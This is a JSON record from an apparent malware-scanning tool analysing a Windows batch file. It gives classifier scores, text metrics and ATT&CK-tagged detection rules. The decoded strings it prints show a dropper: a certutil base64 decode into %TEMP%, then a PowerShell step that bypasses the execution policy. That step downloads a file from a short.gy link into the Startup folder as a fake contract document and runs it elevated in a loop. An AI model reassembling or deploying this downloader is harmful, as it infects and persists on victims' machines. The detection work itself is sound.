{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.8571428656578064,
        "class": 2
      }
    ],
    "prob": 0.85714287,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.6687533,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.75268817,
        "class": 0
      },
      {
        "m": "az/batch",
        "prob": 0.85714287,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961373,
      0.9998425
    ],
    "analyzed_at": "2026-05-13T08:54:17Z"
  },
  "path": "d29d589021dbae769201898abe5bfcd0d7493dcec35c1c3b1a9137c3aa466d8f.bat",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O(C)Md",
        "x": 39,
        "id": 0,
        "ms": {
          "file": {
            "size": 1624.0
          },
          "text": {
            "digit_ratio": 0.12,
            "space_count": 77.0,
            "total_lines": 29.0,
            "char_entropy": 5.82,
            "unique_chars": 77.0,
            "avg_line_length": 54.0,
            "max_line_length": 71.0,
            "last_line_length": 20.0,
            "most_common_char": "b",
            "whitespace_ratio": 0.08,
            "most_common_ratio": 0.04,
            "line_length_stddev": 25.08,
            "max_inline_whitespace_run": 1.0
          }
        },
        "ss": [
          [
            11,
            "set _t=%TEMP%\\gnLOhIPI.b64"
          ],
          [
            39,
            "set _b=%TEMP%\\qYMrdWD.bat"
          ],
          [
            69,
            "base64",
            "\u003c# :batch\r\n@echo off\r\nsetlocal\r\npowershell -NoPr"
          ],
          [
            142,
            "base64",
            "ofile -ExecutionPolicy Bypass -Command \"IEX $([I"
          ],
          [
            215,
            "base64",
            "O.File]::ReadAllText('%~f0'))\"\r\nendlocal\r\ngoto :"
          ],
          [
            288,
            "base64",
            "eof\r\n#\u003e\r\n$outPath = [Environment]::ExpandEnviron"
          ],
          [
            361,
            "base64",
            "mentVariables('%APPDATA%\\Microsoft\\Windows\\Start"
          ],
          [
            434,
            "base64",
            "Menu\\Programs\\Startup\\Contract_Project_Agreemen"
          ],
          [
            507,
            "base64",
            "t_Document.bat')\r\n$downloaded = $false\r\n\r\n# Mult"
          ],
          [
            580,
            "base64",
            "i-URL fallback download\r\nif (-not $downloaded) {"
          ],
          [
            653,
            "base64",
            "try {\r\n        Write-Host '[*] Trying: htt"
          ],
          [
            726,
            "base64",
            "ps://ymxn7m2.short.gy/hAaywf'\r\n        Invoke-We"
          ],
          [
            799,
            "base64",
            "bRequest -Uri 'https://ymxn7m2.short.gy/hAaywf'"
          ],
          [
            872,
            "base64",
            "-OutFile $outPath -UseBasicParsing\r\n        if ("
          ],
          [
            945,
            "base64",
            "Test-Path $outPath) { $downloaded = $true }"
          ],
          [
            1018,
            "base64",
            "} catch {}\r\n}\r\n\r\nif (-not $downloaded) {\r\n    W"
          ],
          [
            1091,
            "base64",
            "rite-Host '[!] All URLs failed.'\r\n    Read-Host"
          ],
          [
            1164,
            "base64",
            "'Press Enter to continue'\r\n    exit 1\r\n}\r\n\r\n$f ="
          ],
          [
            1237,
            "base64",
            "$outPath\r\nwhile ($true) {\r\n    try { Start-Proc"
          ],
          [
            1310,
            "base64",
            "ess $f -Verb runas; exit } catch {}\r\n    Start-S"
          ],
          [
            1383,
            "base64",
            "leep -Seconds 1\r\n}\r\nWrite-Host '[OK] Done.'\r\nRea"
          ],
          [
            1456,
            "base64",
            "d-Host 'Press Enter to continue'"
          ],
          [
            1525,
            "certutil -decode \"%_t%\" \"%_b%\" \u003enul 2\u003e\u00261"
          ],
          [
            1567,
            "del \"%_t%\" \u003enul 2\u003e\u00261"
          ],
          [
            1589,
            "call \"%_b%\""
          ],
          [
            1602,
            "del \"%_b%\" \u003enul 2\u003e\u00261"
          ]
        ],
        "sz": 1624,
        "ts": [
          {
            "a": "T1564.003",
            "c": 0.6000000238418579,
            "d": "Output suppression (hiding activity)",
            "e": [
              "\u003enul"
            ],
            "i": "objectives/persistence/login/self-install/script::batch-output-suppression",
            "l": 3
          },
          {
            "d": ".bat extension reference",
            "e": [
              ".bat"
            ],
            "i": "micro-behaviors/fs/path/extension::bat-dup",
            "l": 1
          },
          {
            "c": 0.6000000238418579,
            "d": "Echo off",
            "e": [
              "@echo off"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::echo-off",
            "l": 1
          },
          {
            "c": 0.75,
            "d": "Regex component marker",
            "e": [
              "TEMP"
            ],
            "i": "micro-behaviors/fs/directory/mkdir::temp-mkdir-command--rx-3",
            "l": 1
          },
          {
            "d": "certutil command",
            "e": [
              "certutil"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::certutil-cmd",
            "l": 4
          },
          {
            "a": "T1140",
            "c": 0.8999999761581421,
            "d": "certutil base64 decode (LOLBas payload staging)",
            "e": [
              "certutil -decode"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::certutil-decode",
            "l": 4
          },
          {
            "c": 0.699999988079071,
            "d": "Windows %TEMP% or %TMP% environment reference",
            "e": [
              "%TEMP%"
            ],
            "i": "micro-behaviors/fs/path/temp::win-temp-env",
            "l": 2
          },
          {
            "c": 1.0,
            "d": "echo off batch command",
            "e": [
              "@echo off"
            ],
            "i": "objectives/command-and-control/dropper/builder::echo-off-batch",
            "l": 1
          },
          {
            "c": 0.550000011920929,
            "d": "Stdout redirected to NUL",
            "e": [
              "\u003enul"
            ],
            "i": "micro-behaviors/os/console/io::windows-stdout-to-nul",
            "l": 2
          },
          {
            "c": 1.0,
            "d": "Contains %TEMP% environment variable string",
            "e": [
              "%TEMP%"
            ],
            "i": "micro-behaviors/os/env/vars/access::temp-env-var",
            "l": 2
          },
          {
            "c": 0.699999988079071,
            "d": "Redirect output to null",
            "e": [
              "\u003enul"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::redirect-null",
            "l": 1
          },
          {
            "c": 0.6000000238418579,
            "d": "Base64-encoded HTTPS protocol fragment",
            "e": [
              "aHR0cHM6Ly"
            ],
            "i": "objectives/exfiltration/oob/endpoint::https-b64",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High overall text entropy (encoded",
            "e": [
              "text.char_entropy = 5.82"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "mentVariables('%APPDATA%\\Microsoft\\Windo \u003cbase64\u003e",
              "\u003c# :batch @echo off setlocal powershe \u003cbase64\u003e",
              "-OutFile $outPath -UseBasicParsing      \u003cbase64\u003e",
              "try {         Write-Host '[*] Trying: h \u003cbase64\u003e",
              "t_Document.bat') $downloaded = $false  \u003cbase64\u003e",
              "eof #\u003e $outPath = [Environment]::Expan \u003cbase64\u003e",
              "$outPath while ($true) {     try { Sta \u003cbase64\u003e",
              "bRequest -Uri 'https://ymxn7m2.short.gy/ \u003cbase64\u003e",
              "ps://ymxn7m2.short.gy/hAaywf'         I \u003cbase64\u003e",
              "i-URL fallback download if (-not $downl \u003cbase64\u003e",
              "ofile -ExecutionPolicy Bypass -Command \" \u003cbase64\u003e",
              "O.File]::ReadAllText('%~f0'))\" endlocal \u003cbase64\u003e",
              "Menu\\Programs\\Startup\\Contract_Project_A \u003cbase64\u003e",
              "'Press Enter to continue'     exit 1 } \u003cbase64\u003e",
              "ess $f -Verb runas; exit } catch {}     \u003cbase64\u003e",
              "} catch {} }  if (-not $downloaded) { \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3
          }
        ],
        "sha": "d29d589021dbae769201898abe5bfcd0d7493dcec35c1c3b1a9137c3aa466d8f",
        "path": "d29d589021dbae769201898abe5bfcd0d7493dcec35c1c3b1a9137c3aa466d8f.bat",
        "type": "batch"
      }
    ],
    "tv": "92e78"
  }
}